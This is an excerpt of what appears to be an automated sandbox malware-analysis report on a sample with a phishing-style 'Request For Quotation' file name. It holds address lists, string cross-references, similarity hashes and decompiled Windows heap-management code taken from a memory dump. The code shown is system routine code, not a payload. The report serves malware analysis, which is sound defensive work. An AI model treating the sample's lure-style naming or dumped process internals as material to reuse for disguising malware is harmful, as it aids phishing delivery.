0x00a889e3
0x00000000
0x00a889e3
0x00a47b60
0x00000000
0x00a889ef
0x00a889ef
0x00a889f9
0x00000000
0x00a889f9
0x00a47b2a
0x00a47b13
0x00a47a9c
0x00a47a9e
0x00a47ac2
0x00a47ac4
0x00000000
0x00000000
0x00a47aca
0x00000000
0x00a47aca
0x00a47aa0
0x00a47aa0
0x00a47aa5
0x00000000
0x00000000
0x00a47aab
0x00a47ab9
0x00000000
0x00a47abf
0x00a47abf
0x00000000
0x00a47abf
0x00a47ab9
0x00a47c6b
0x00a47c6e
0x00a47c72
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00a479ef
0x00a4798b
0x00a4797b
0x00a4797b
0x00000000

Strings

R, xrefs: 00A47956
LdrpResSearchResourceInsideDirectory Exit, xrefs: 00A47960
{, xrefs: 00A88CEE
LdrpResSearchResourceInsideDirectory Enter, xrefs: 00A4794C
T, xrefs: 00A47942
MUI, xrefs: 00A47BCA

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: LdrpResSearchResourceInsideDirectory Enter$LdrpResSearchResourceInsideDirectory Exit$MUI$R$T${
API String ID: 0-2515562510
Opcode ID: f042351ed64bc44552b4227f52b93a61c861f00bbd6c5f375ecc8322a5fe3b4e
Instruction ID: 7598a9af5ac5a507430233ac99562187276cafb6827137e8561459f4873ec1a5
Opcode Fuzzy Hash: f042351ed64bc44552b4227f52b93a61c861f00bbd6c5f375ecc8322a5fe3b4e
Instruction Fuzzy Hash: 8F927E74E08269CFDF64CF98C980BADBBB5BF84304F248259E859AB245DB389D45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00A3A309, Relevance: 8.2, Strings: 6, Instructions: 687
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E00A3A309(signed int __ecx, signed int __edx, signed int _a4, char _a8) {
				char _v8;
				signed short _v12;
				signed short _v16;
				signed int _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				signed int _v56;
				void* _v60;
				intOrPtr _v64;
				void* _v72;
				void* __ebx;
				void* __edi;
				void* __ebp;
				unsigned int _t246;
				signed char _t247;
				signed short _t249;
				unsigned int _t256;
				signed int _t262;
				signed int _t265;
				signed int _t266;
				signed int _t267;
				intOrPtr _t270;
				signed int _t280;
				signed int _t286;
				signed int _t289;
				intOrPtr _t290;
				signed int _t291;
				signed int _t317;
				signed short _t320;
				intOrPtr _t327;
				signed int _t339;
				signed int _t344;
				signed int _t347;
				intOrPtr _t348;
				signed int _t350;
				signed int _t352;
				signed int _t353;
				signed int _t356;
				intOrPtr _t357;
				intOrPtr _t366;
				signed int _t367;
				signed int _t370;
				intOrPtr _t371;
				signed int _t372;
				signed int _t394;
				signed short _t402;
				intOrPtr _t404;
				intOrPtr _t415;
				signed int _t430;
				signed int _t433;
				signed int _t437;
				signed int _t445;
				signed short _t446;
				signed short _t449;
				signed short _t452;
				signed int _t455;
				signed int _t460;
				signed short* _t468;
				signed int _t480;
				signed int _t481;
				signed int _t483;
				intOrPtr _t484;
				signed int _t491;
				unsigned int _t506;
				unsigned int _t508;
				signed int _t513;
				signed int _t514;
				signed int _t521;
				signed short* _t533;
				signed int _t541;
				signed int _t543;
				signed int _t546;
				unsigned int _t551;
				signed int _t553;

				_t450 = __ecx;
				_t553 = __ecx;
				_t539 = __edx;
				_v28 = 0;
				_v40 = 0;
				if(( *(__ecx + 0xcc) ^  *0xb08a68) != 0) {
					_push(_a4);
					_t513 = __edx;
					L11:
					_t246 = E00A3A830(_t450, _t513);
					L7:
					return _t246;
				}
				if(_a8 != 0) {
					__eflags =  *(__edx + 2) & 0x00000008;
					if(( *(__edx + 2) & 0x00000008) != 0) {
						 *((intOrPtr*)(__ecx + 0x230)) =  *((intOrPtr*)(__ecx + 0x230)) - 1;
						_t430 = L00A3DF24(__edx,  &_v12,  &_v16);
						__eflags = _t430;
						if(_t430 != 0) {
							_t157 = _t553 + 0x234;
							 *_t157 =  *(_t553 + 0x234) - _v16;
							__eflags =  *_t157;
						}
					}
					_t445 = _a4;
					_t514 = _t539;
					_v48 = _t539;
					L14:
					_t247 =  *((intOrPtr*)(_t539 + 6));
					__eflags = _t247;
					if(_t247 == 0) {
						_t541 = _t553;
					} else {
						_t541 = (_t539 & 0xffff0000) - ((_t247 & 0x000000ff) << 0x10) + 0x10000;
						__eflags = _t541;
					}
					_t249 = 7 + _t445 * 8 + _t514;
					_v12 = _t249;
					__eflags =  *_t249 - 3;
					if( *_t249 == 3) {
						_v16 = _t514 + _t445 * 8 + 8;
						E00A19373(_t553, _t514 + _t445 * 8 + 8);
						_t452 = _v16;
						_v28 =  *(_t452 + 0x10);
						 *((intOrPtr*)(_t541 + 0x30)) =  *((intOrPtr*)(_t541 + 0x30)) - 1;
						_v36 =  *(_t452 + 0x14);
						 *((intOrPtr*)(_t541 + 0x2c)) =  *((intOrPtr*)(_t541 + 0x2c)) - ( *(_t452 + 0x14) >> 0xc);
						 *((intOrPtr*)(_t553 + 0x1e8)) =  *((intOrPtr*)(_t553 + 0x1e8)) +  *(_t452 + 0x14);
						 *((intOrPtr*)(_t553 + 0x1f8)) =  *((intOrPtr*)(_t553 + 0x1f8)) - 1;
						_t256 =  *(_t452 + 0x14);
						__eflags = _t256 - 0x7f000;
						if(_t256 >= 0x7f000) {
							_t142 = _t553 + 0x1ec;
							 *_t142 =  *(_t553 + 0x1ec) - _t256;
							__eflags =  *_t142;
							_t256 =  *(_t452 + 0x14);
						}
						_t513 = _v48;
						_t445 = _t445 + (_t256 >> 3) + 0x20;
						_a4 = _t445;
						_v40 = 1;
					} else {
						_t27 =  &_v36;
						 *_t27 = _v36 & 0x00000000;
						__eflags =  *_t27;
					}
					__eflags =  *((intOrPtr*)(_t553 + 0x54)) -  *((intOrPtr*)(_t513 + 4));
					if( *((intOrPtr*)(_t553 + 0x54)) ==  *((intOrPtr*)(_t513 + 4))) {
						_v44 = _t513;
						_t262 = E00A1A9EF(_t541, _t513);
						__eflags = _a8;
						_v32 = _t262;
						if(_a8 != 0) {
							__eflags = _t262;
							if(_t262 == 0) {
								goto L19;
							}
						}
						__eflags =  *0xb08748 - 1;
						if( *0xb08748 >= 1) {
							__eflags = _t262;
							if(_t262 == 0) {
								_t415 =  *[fs:0x30];
								__eflags =  *(_t415 + 0xc);
								if( *(_t415 + 0xc) == 0) {
									_push("HEAP: ");
									E00A1B150();
								} else {
									E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push("(UCRBlock != NULL)");
								E00A1B150();
								__eflags =  *0xb07bc8;
								if( *0xb07bc8 == 0) {
									__eflags = 1;
									E00AD2073(_t445, 1, _t541, 1);
								}
								_t513 = _v48;
								_t445 = _a4;
							}
						}
						_t350 = _v40;
						_t480 = _t445 << 3;
						_v20 = _t480;
						_t481 = _t480 + _t513;
						_v24 = _t481;
						__eflags = _t350;
						if(_t350 == 0) {
							_t481 = _t481 + 0xfffffff0;
							__eflags = _t481;
						}
						_t483 = (_t481 & 0xfffff000) - _v44;
						__eflags = _t483;
						_v52 = _t483;
						if(_t483 == 0) {
							__eflags =  *0xb08748 - 1;
							if( *0xb08748 < 1) {
								goto L9;
							}
							__eflags = _t350;
							goto L146;
						} else {
							_t352 = L00A4174B( &_v44,  &_v52, 0x4000);
							__eflags = _t352;
							if(_t352 < 0) {
								goto L94;
							}
							_t353 = E00A37D50();
							_t447 = 0x7ffe0380;
							__eflags = _t353;
							if(_t353 != 0) {
								_t356 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t356 = 0x7ffe0380;
							}
							__eflags =  *_t356;
							if( *_t356 != 0) {
								_t357 =  *[fs:0x30];
								__eflags =  *(_t357 + 0x240) & 0x00000001;
								if(( *(_t357 + 0x240) & 0x00000001) != 0) {
									E00AD14FB(_t447, _t553, _v44, _v52, 5);
								}
							}
							_t358 = _v32;
							 *((intOrPtr*)(_t553 + 0x200)) =  *((intOrPtr*)(_t553 + 0x200)) + 1;
							_t484 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t484 - 0x7f000;
							if(_t484 >= 0x7f000) {
								_t90 = _t553 + 0x1ec;
								 *_t90 =  *(_t553 + 0x1ec) - _t484;
								__eflags =  *_t90;
							}
							E00A19373(_t553, _t358);
							_t486 = _v32;
							 *((intOrPtr*)(_v32 + 0x14)) =  *((intOrPtr*)(_v32 + 0x14)) + _v52;
							E00A19819(_t486);
							 *((intOrPtr*)(_t541 + 0x2c)) =  *((intOrPtr*)(_t541 + 0x2c)) + (_v52 >> 0xc);
							 *((intOrPtr*)(_t553 + 0x1e8)) =  *((intOrPtr*)(_t553 + 0x1e8)) - _v52;
							_t366 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t366 - 0x7f000;
							if(_t366 >= 0x7f000) {
								_t104 = _t553 + 0x1ec;
								 *_t104 =  *(_t553 + 0x1ec) + _t366;
								__eflags =  *_t104;
							}
							__eflags = _v40;
							if(_v40 == 0) {
								_t533 = _v52 + _v44;
								_v32 = _t533;
								_t533[2] =  *((intOrPtr*)(_t553 + 0x54));
								__eflags = _v24 - _v52 + _v44;
								if(_v24 == _v52 + _v44) {
									__eflags =  *(_t553 + 0x4c);
									if( *(_t553 + 0x4c) != 0) {
										_t533[1] = _t533[1] ^ _t533[0] ^  *_t533;
										 *_t533 =  *_t533 ^  *(_t553 + 0x50);
									}
								} else {
									_t449 = 0;
									_t533[3] = 0;
									_t533[1] = 0;
									_t394 = _v20 - _v52 >> 0x00000003 & 0x0000ffff;
									_t491 = _t394;
									 *_t533 = _t394;
									__eflags =  *0xb08748 - 1; // 0x0
									if(__eflags >= 0) {
										__eflags = _t491 - 1;
										if(_t491 <= 1) {
											_t404 =  *[fs:0x30];
											__eflags =  *(_t404 + 0xc);
											if( *(_t404 + 0xc) == 0) {
												_push("HEAP: ");
												E00A1B150();
											} else {
												E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
											}
											_push("((LONG)FreeEntry->Size > 1)");
											E00A1B150();
											_pop(_t491);
											__eflags =  *0xb07bc8 - _t449; // 0x0
											if(__eflags == 0) {
												__eflags = 0;
												_t491 = 1;
												E00AD2073(_t449, 1, _t541, 0);
											}
											_t533 = _v32;
										}
									}
									_t533[1] = _t449;
									__eflags =  *((intOrPtr*)(_t541 + 0x18)) - _t541;
									if( *((intOrPtr*)(_t541 + 0x18)) != _t541) {
										_t402 = (_t533 - _t541 >> 0x10) + 1;
										_v16 = _t402;
										__eflags = _t402 - 0xfe;
										if(_t402 >= 0xfe) {
											_push(_t491);
											_push(_t449);
											E00ADA80D( *((intOrPtr*)(_t541 + 0x18)), 3, _t533, _t541);
											_t533 = _v48;
											_t402 = _v32;
										}
										_t449 = _t402;
									}
									_t533[3] = _t449;
									E00A3A830(_t553, _t533,  *_t533 & 0x0000ffff);
									_t447 = 0x7ffe0380;
								}
							}
							_t367 = E00A37D50();
							__eflags = _t367;
							if(_t367 != 0) {
								_t370 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t370 = _t447;
							}
							__eflags =  *_t370;
							if( *_t370 != 0) {
								_t371 =  *[fs:0x30];
								__eflags =  *(_t371 + 0x240) & 1;
								if(( *(_t371 + 0x240) & 1) != 0) {
									__eflags = E00A37D50();
									if(__eflags != 0) {
										_t447 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
									}
									E00AD1411(_t447, _t553, _v44, __eflags, _v52,  *(_t553 + 0x74) << 3, _v40, _v36,  *_t447 & 0x000000ff);
								}
							}
							_t372 = E00A37D50();
							_t546 = 0x7ffe038a;
							_t446 = 0x230;
							__eflags = _t372;
							if(_t372 != 0) {
								_t246 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t246 = 0x7ffe038a;
							}
							__eflags =  *_t246;
							if( *_t246 == 0) {
								goto L7;
							} else {
								__eflags = E00A37D50();
								if(__eflags != 0) {
									_t546 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + _t446;
									__eflags = _t546;
								}
								_push( *_t546 & 0x000000ff);
								_push(_v36);
								_push(_v40);
								goto L120;
							}
						}
					} else {
						L19:
						_t31 = _t513 + 0x101f; // 0x101f
						_t455 = _t31 & 0xfffff000;
						_t32 = _t513 + 0x28; // 0x28
						_v44 = _t455;
						__eflags = _t455 - _t32;
						if(_t455 == _t32) {
							_t455 = _t455 + 0x1000;
							_v44 = _t455;
						}
						_t265 = _t445 << 3;
						_v24 = _t265;
						_t266 = _t265 + _t513;
						__eflags = _v40;
						_v20 = _t266;
						if(_v40 == 0) {
							_t266 = _t266 + 0xfffffff0;
							__eflags = _t266;
						}
						_t267 = _t266 & 0xfffff000;
						_v52 = _t267;
						__eflags = _t267 - _t455;
						if(_t267 < _t455) {
							__eflags =  *0xb08748 - 1; // 0x0
							if(__eflags < 0) {
								L9:
								_t450 = _t553;
								L10:
								_push(_t445);
								goto L11;
							}
							__eflags = _v40;
							L146:
							if(__eflags == 0) {
								goto L9;
							}
							_t270 =  *[fs:0x30];
							__eflags =  *(_t270 + 0xc);
							if( *(_t270 + 0xc) == 0) {
								_push("HEAP: ");
								E00A1B150();
							} else {
								E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("(!TrailingUCR)");
							E00A1B150();
							__eflags =  *0xb07bc8;
							if( *0xb07bc8 == 0) {
								__eflags = 0;
								E00AD2073(_t445, 1, _t541, 0);
							}
							L152:
							_t445 = _a4;
							L153:
							_t513 = _v48;
							goto L9;
						}
						_v32 = _t267;
						_t280 = _t267 - _t455;
						_v32 = _v32 - _t455;
						__eflags = _a8;
						_t460 = _v32;
						_v52 = _t460;
						if(_a8 != 0) {
							L27:
							__eflags = _t280;
							if(_t280 == 0) {
								L33:
								_t446 = 0;
								__eflags = _v40;
								if(_v40 == 0) {
									_t468 = _v44 + _v52;
									_v36 = _t468;
									_t468[2] =  *((intOrPtr*)(_t553 + 0x54));
									__eflags = _v20 - _v52 + _v44;
									if(_v20 == _v52 + _v44) {
										__eflags =  *(_t553 + 0x4c);
										if( *(_t553 + 0x4c) != 0) {
											_t468[1] = _t468[1] ^ _t468[0] ^  *_t468;
											 *_t468 =  *_t468 ^  *(_t553 + 0x50);
										}
									} else {
										_t468[3] = 0;
										_t468[1] = 0;
										_t317 = _v24 - _v52 - _v44 + _t513 >> 0x00000003 & 0x0000ffff;
										_t521 = _t317;
										 *_t468 = _t317;
										__eflags =  *0xb08748 - 1; // 0x0
										if(__eflags >= 0) {
											__eflags = _t521 - 1;
											if(_t521 <= 1) {
												_t327 =  *[fs:0x30];
												__eflags =  *(_t327 + 0xc);
												if( *(_t327 + 0xc) == 0) {
													_push("HEAP: ");
													E00A1B150();
												} else {
													E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
												}
												_push("(LONG)FreeEntry->Size > 1");
												E00A1B150();
												__eflags =  *0xb07bc8 - _t446; // 0x0
												if(__eflags == 0) {
													__eflags = 1;
													E00AD2073(_t446, 1, _t541, 1);
												}
												_t468 = _v36;
											}
										}
										_t468[1] = _t446;
										_t522 =  *((intOrPtr*)(_t541 + 0x18));
										__eflags =  *((intOrPtr*)(_t541 + 0x18)) - _t541;
										if( *((intOrPtr*)(_t541 + 0x18)) == _t541) {
											_t320 = _t446;
										} else {
											_t320 = (_t468 - _t541 >> 0x10) + 1;
											_v12 = _t320;
											__eflags = _t320 - 0xfe;
											if(_t320 >= 0xfe) {
												_push(_t468);
												_push(_t446);
												E00ADA80D(_t522, 3, _t468, _t541);
												_t468 = _v52;
												_t320 = _v28;
											}
										}
										_t468[3] = _t320;
										E00A3A830(_t553, _t468,  *_t468 & 0x0000ffff);
									}
								}
								L00A3B73D(_t553, _t541, _v44 + 0xffffffe8, _v52, _v48,  &_v8);
								E00A3A830(_t553, _v64, _v24);
								_t286 = E00A37D50();
								_t542 = 0x7ffe0380;
								__eflags = _t286;
								if(_t286 != 0) {
									_t289 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								} else {
									_t289 = 0x7ffe0380;
								}
								__eflags =  *_t289;
								if( *_t289 != 0) {
									_t290 =  *[fs:0x30];
									__eflags =  *(_t290 + 0x240) & 1;
									if(( *(_t290 + 0x240) & 1) != 0) {
										__eflags = E00A37D50();
										if(__eflags != 0) {
											_t542 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
											__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										}
										E00AD1411(_t446, _t553, _v44, __eflags, _v52,  *(_t553 + 0x74) << 3, _t446, _t446,  *_t542 & 0x000000ff);
									}
								}
								_t291 = E00A37D50();
								_t543 = 0x7ffe038a;
								__eflags = _t291;
								if(_t291 != 0) {
									_t246 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
								} else {
									_t246 = 0x7ffe038a;
								}
								__eflags =  *_t246;
								if( *_t246 != 0) {
									__eflags = E00A37D50();
									if(__eflags != 0) {
										_t543 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
										__eflags = _t543;
									}
									_push( *_t543 & 0x000000ff);
									_push(_t446);
									_push(_t446);
									L120:
									_push( *(_t553 + 0x74) << 3);
									_push(_v52);
									_t246 = E00AD1411(_t446, _t553, _v44, __eflags);
								}
								goto L7;
							}
							 *((intOrPtr*)(_t553 + 0x200)) =  *((intOrPtr*)(_t553 + 0x200)) + 1;
							_t339 = L00A4174B( &_v44,  &_v52, 0x4000);
							__eflags = _t339;
							if(_t339 < 0) {
								L94:
								 *((intOrPtr*)(_t553 + 0x210)) =  *((intOrPtr*)(_t553 + 0x210)) + 1;
								__eflags = _v40;
								if(_v40 == 0) {
									goto L153;
								}
								L00A3B73D(_t553, _t541, _v28 + 0xffffffe8, _v36, _v48,  &_a4);
								goto L152;
							}
							_t344 = E00A37D50();
							__eflags = _t344;
							if(_t344 != 0) {
								_t347 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t347 = 0x7ffe0380;
							}
							__eflags =  *_t347;
							if( *_t347 != 0) {
								_t348 =  *[fs:0x30];
								__eflags =  *(_t348 + 0x240) & 1;
								if(( *(_t348 + 0x240) & 1) != 0) {
									E00AD14FB(_t445, _t553, _v44, _v52, 6);
								}
							}
							_t513 = _v48;
							goto L33;
						}
						__eflags =  *_v12 - 3;
						_t513 = _v48;
						if( *_v12 == 3) {
							goto L27;
						}
						__eflags = _t460;
						if(_t460 == 0) {
							goto L9;
						}
						__eflags = _t460 -  *((intOrPtr*)(_t553 + 0x6c));
						if(_t460 <  *((intOrPtr*)(_t553 + 0x6c))) {
							goto L9;
						}
						goto L27;
					}
				}
				_t445 = _a4;
				if(_t445 <  *((intOrPtr*)(__ecx + 0x6c))) {
					_t513 = __edx;
					goto L10;
				}
				_t433 =  *((intOrPtr*)(__ecx + 0x74)) + _t445;
				_v20 = _t433;
				if(_t433 <  *((intOrPtr*)(__ecx + 0x70)) || _v20 <  *(__ecx + 0x1e8) >>  *((intOrPtr*)(__ecx + 0x240)) + 3) {
					_t513 = _t539;
					goto L9;
				} else {
					_t437 = E00A399BF(__ecx, __edx,  &_a4, 0);
					_t445 = _a4;
					_t514 = _t437;
					_v56 = _t514;
					if(_t445 - 0x201 > 0xfbff) {
						goto L14;
					} else {
						E00A3A830(__ecx, _t514, _t445);
						_t506 =  *(_t553 + 0x238);
						_t551 =  *((intOrPtr*)(_t553 + 0x1e8)) - ( *(_t553 + 0x74) << 3);
						_t246 = _t506 >> 4;
						if(_t551 < _t506 - _t246) {
							_t508 =  *(_t553 + 0x23c);
							_t246 = _t508 >> 2;
							__eflags = _t551 - _t508 - _t246;
							if(_t551 > _t508 - _t246) {
								_t246 = E00A4ABD8(_t553);
								 *(_t553 + 0x23c) = _t551;
								 *(_t553 + 0x238) = _t551;
							}
						}
						goto L7;
					}
				}
			}

0x00a3a309
0x00a3a316
0x00a3a319
0x00a3a31d
0x00a3a32d
0x00a3a331
0x00a81e0d
0x00a81e10
0x00a3a3cb
0x00a3a3cb
0x00a3a3bd
0x00a3a3c3
0x00a3a3c3
0x00a3a33a
0x00a81e17
0x00a81e1b
0x00a81e1d
0x00a81e2f
0x00a81e34
0x00a81e36
0x00a81e3c
0x00a81e3c
0x00a81e3c
0x00a81e3c
0x00a81e36
0x00a81e42
0x00a81e45
0x00a81e47
0x00a3a3f8
0x00a3a3f8
0x00a3a3fb
0x00a3a3fd
0x00a81e50
0x00a3a403
0x00a3a411
0x00a3a411
0x00a3a411
0x00a3a41e
0x00a3a420
0x00a3a424
0x00a3a427
0x00a3a7c9
0x00a3a7cd
0x00a3a7d2
0x00a3a7d9
0x00a3a7e0
0x00a3a7e3
0x00a3a7ed
0x00a3a7f3
0x00a3a7f9
0x00a3a7ff
0x00a3a802
0x00a3a807
0x00a3a809
0x00a3a809
0x00a3a809
0x00a3a80f
0x00a3a80f
0x00a3a812
0x00a3a81c
0x00a3a821
0x00a3a824
0x00a3a42d
0x00a3a42d
0x00a3a42d
0x00a3a42d
0x00a3a42d
0x00a3a436
0x00a3a43a
0x00a3a609
0x00a3a60d
0x00a3a612
0x00a3a616
0x00a3a61a
0x00a81e57
0x00a81e59
0x00000000
0x00000000
0x00a81e5f
0x00a3a620
0x00a3a627
0x00a81e64
0x00a81e66
0x00a81e6c
0x00a81e72
0x00a81e76
0x00a81e95
0x00a81e9a
0x00a81e78
0x00a81e8d
0x00a81e92
0x00a81ea0
0x00a81ea5
0x00a81eaa
0x00a81eb2
0x00a81eb6
0x00a81eb9
0x00a81eb9
0x00a81ebe
0x00a81ec2
0x00a81ec2
0x00a81e66
0x00a3a62d
0x00a3a633
0x00a3a636
0x00a3a63a
0x00a3a63c
0x00a3a640
0x00a3a642
0x00a3a644
0x00a3a644
0x00a3a644
0x00a3a64d
0x00a3a64d
0x00a3a651
0x00a3a655
0x00a81eca
0x00a81ed1
0x00000000
0x00000000
0x00a81ed7
0x00000000
0x00a3a65b
0x00a3a669
0x00a3a66e
0x00a3a670
0x00000000
0x00000000
0x00a3a676
0x00a3a67b
0x00a3a680
0x00a3a682
0x00a81f1a
0x00a3a688
0x00a3a688
0x00a3a688
0x00a3a68a
0x00a3a68d
0x00a81f24
0x00a81f2a
0x00a81f31
0x00a81f43
0x00a81f43
0x00a81f31
0x00a3a693
0x00a3a697
0x00a3a69d
0x00a3a6a0
0x00a3a6a6
0x00a3a6a8
0x00a3a6a8
0x00a3a6a8
0x00a3a6a8
0x00a3a6b2
0x00a3a6b7
0x00a3a6c1
0x00a3a6c6
0x00a3a6d2
0x00a3a6d9
0x00a3a6e3
0x00a3a6e6
0x00a3a6eb
0x00a3a6ed
0x00a3a6ed
0x00a3a6ed
0x00a3a6ed
0x00a3a6f3
0x00a3a6f8
0x00a3a702
0x00a3a70a
0x00a3a70e
0x00a3a71a
0x00a3a71e
0x00a81fcb
0x00a81fcf
0x00a81fdd
0x00a81fe3
0x00a81fe3
0x00a3a724
0x00a3a728
0x00a3a72a
0x00a3a72d
0x00a3a737
0x00a3a73a
0x00a3a73c
0x00a3a742
0x00a3a748
0x00a81f4d
0x00a81f50
0x00a81f56
0x00a81f5c
0x00a81f5f
0x00a81f7e
0x00a81f83
0x00a81f61
0x00a81f76
0x00a81f7b
0x00a81f89
0x00a81f8e
0x00a81f93
0x00a81f94
0x00a81f9a
0x00a81f9c
0x00a81f9e
0x00a81fa1
0x00a81fa1
0x00a81fa6
0x00a81fa6
0x00a81f50
0x00a3a74e
0x00a3a751
0x00a3a754
0x00a3a75d
0x00a3a75e
0x00a3a762
0x00a3a767
0x00a81faf
0x00a81fb0
0x00a81fb9
0x00a81fbe
0x00a81fc2
0x00a81fc2
0x00a3a76d
0x00a3a76d
0x00a3a775
0x00a3a778
0x00a3a77d
0x00a3a77d
0x00a3a71e
0x00a3a782
0x00a3a787
0x00a3a789
0x00a81ff3
0x00a3a78f
0x00a3a78f
0x00a3a78f
0x00a3a791
0x00a3a794
0x00a81ffd
0x00a82006
0x00a8200c
0x00a82017
0x00a82019
0x00a82024
0x00a82024
0x00a82024
0x00a82047
0x00a82047
0x00a8200c
0x00a3a79a
0x00a3a79f
0x00a3a7a4
0x00a3a7a9
0x00a3a7ab
0x00a8205a
0x00a3a7b1
0x00a3a7b1
0x00a3a7b1
0x00a3a7b3
0x00a3a7b6
0x00000000
0x00a3a7bc
0x00a82066
0x00a82068
0x00a82073
0x00a82073
0x00a82073
0x00a82078
0x00a82079
0x00a8207d
0x00000000
0x00a8207d
0x00a3a7b6
0x00a3a440
0x00a3a440
0x00a3a440
0x00a3a446
0x00a3a44c
0x00a3a44f
0x00a3a453
0x00a3a455
0x00a820b3
0x00a820b9
0x00a820b9
0x00a3a45d
0x00a3a460
0x00a3a464
0x00a3a466
0x00a3a46b
0x00a3a46f
0x00a3a471
0x00a3a471
0x00a3a471
0x00a3a474
0x00a3a479
0x00a3a47d
0x00a3a47f
0x00a82229
0x00a8222f
0x00a3a3c8
0x00a3a3c8
0x00a3a3ca
0x00a3a3ca
0x00000000
0x00a3a3ca
0x00a82235
0x00a8223a
0x00a8223a
0x00000000
0x00000000
0x00a82240
0x00a82246
0x00a8224a
0x00a82269
0x00a8226e
0x00a8224c
0x00a82261
0x00a82266
0x00a82274
0x00a82279
0x00a8227e
0x00a82286
0x00a82288
0x00a8228d
0x00a8228d
0x00a82292
0x00a82292
0x00a82295
0x00a82295
0x00000000
0x00a82295
0x00a3a485
0x00a3a489
0x00a3a48b
0x00a3a48f
0x00a3a493
0x00a3a497
0x00a3a49b
0x00a3a4bb
0x00a3a4bb
0x00a3a4bd
0x00a3a4ff
0x00a3a4ff
0x00a3a501
0x00a3a505
0x00a3a50f
0x00a3a517
0x00a3a51b
0x00a3a527
0x00a3a52b
0x00a82182
0x00a82185
0x00a82193
0x00a82199
0x00a82199
0x00a3a531
0x00a3a535
0x00a3a538
0x00a3a548
0x00a3a54b
0x00a3a54d
0x00a3a553
0x00a3a559
0x00a82100
0x00a82103
0x00a82109
0x00a8210f
0x00a82112
0x00a82131
0x00a82136
0x00a82114
0x00a82129
0x00a8212e
0x00a8213c
0x00a82141
0x00a82147
0x00a8214d
0x00a82151
0x00a82154
0x00a82154
0x00a82159
0x00a82159
0x00a82103
0x00a3a55f
0x00a3a562
0x00a3a565
0x00a3a567
0x00a82162
0x00a3a56d
0x00a3a574
0x00a3a575
0x00a3a579
0x00a3a57e
0x00a82169
0x00a8216a
0x00a82170
0x00a82175
0x00a82179
0x00a82179
0x00a3a57e
0x00a3a584
0x00a3a58f
0x00a3a58f
0x00a3a52b
0x00a3a5ad
0x00a3a5bc
0x00a3a5c1
0x00a3a5c6
0x00a3a5cb
0x00a3a5cd
0x00a821a9
0x00a3a5d3
0x00a3a5d3
0x00a3a5d3
0x00a3a5d5
0x00a3a5d8
0x00a821b3
0x00a821bc
0x00a821c2
0x00a821cd
0x00a821cf
0x00a821da
0x00a821da
0x00a821da
0x00a821f7
0x00a821f7
0x00a821c2
0x00a3a5de
0x00a3a5e3
0x00a3a5e8
0x00a3a5ea
0x00a8220a
0x00a3a5f0
0x00a3a5f0
0x00a3a5f0
0x00a3a5f2
0x00a3a5f5
0x00a82219
0x00a8221b
0x00a8208c
0x00a8208c
0x00a8208c
0x00a82095
0x00a82096
0x00a82097
0x00a82098
0x00a820a4
0x00a820a5
0x00a820a9
0x00a820a9
0x00000000
0x00a3a5f5
0x00a3a4bf
0x00a3a4d3
0x00a3a4d8
0x00a3a4da
0x00a81ede
0x00a81ede
0x00a81ee4
0x00a81ee9
0x00000000
0x00000000
0x00a81f07
0x00000000
0x00a81f07
0x00a3a4e0
0x00a3a4e5
0x00a3a4e7
0x00a820cb
0x00a3a4ed
0x00a3a4ed
0x00a3a4ed
0x00a3a4f2
0x00a3a4f5
0x00a820d5
0x00a820de
0x00a820e4
0x00a820f6
0x00a820f6
0x00a820e4
0x00a3a4fb
0x00000000
0x00a3a4fb
0x00a3a4a1
0x00a3a4a4
0x00a3a4a8
0x00000000
0x00000000
0x00a3a4aa
0x00a3a4ac
0x00000000
0x00000000
0x00a3a4b2
0x00a3a4b5
0x00000000
0x00000000
0x00000000
0x00a3a4b5
0x00a3a43a
0x00a3a340
0x00a3a346
0x00a3a600
0x00000000
0x00a3a600
0x00a3a34f
0x00a3a351
0x00a3a358
0x00a3a3c6
0x00000000
0x00a3a371
0x00a3a37a
0x00a3a37f
0x00a3a382
0x00a3a384
0x00a3a394
0x00000000
0x00a3a396
0x00a3a399
0x00a3a3a7
0x00a3a3b0
0x00a3a3b4
0x00a3a3bb
0x00a3a3d2
0x00a3a3da
0x00a3a3df
0x00a3a3e1
0x00a3a3e5
0x00a3a3ea
0x00a3a3f0
0x00a3a3f0
0x00a3a3e1
0x00000000
0x00a3a3bb
0x00a3a394

Strings

(LONG)FreeEntry->Size > 1, xrefs: 00A8213C
(UCRBlock != NULL), xrefs: 00A81EA0
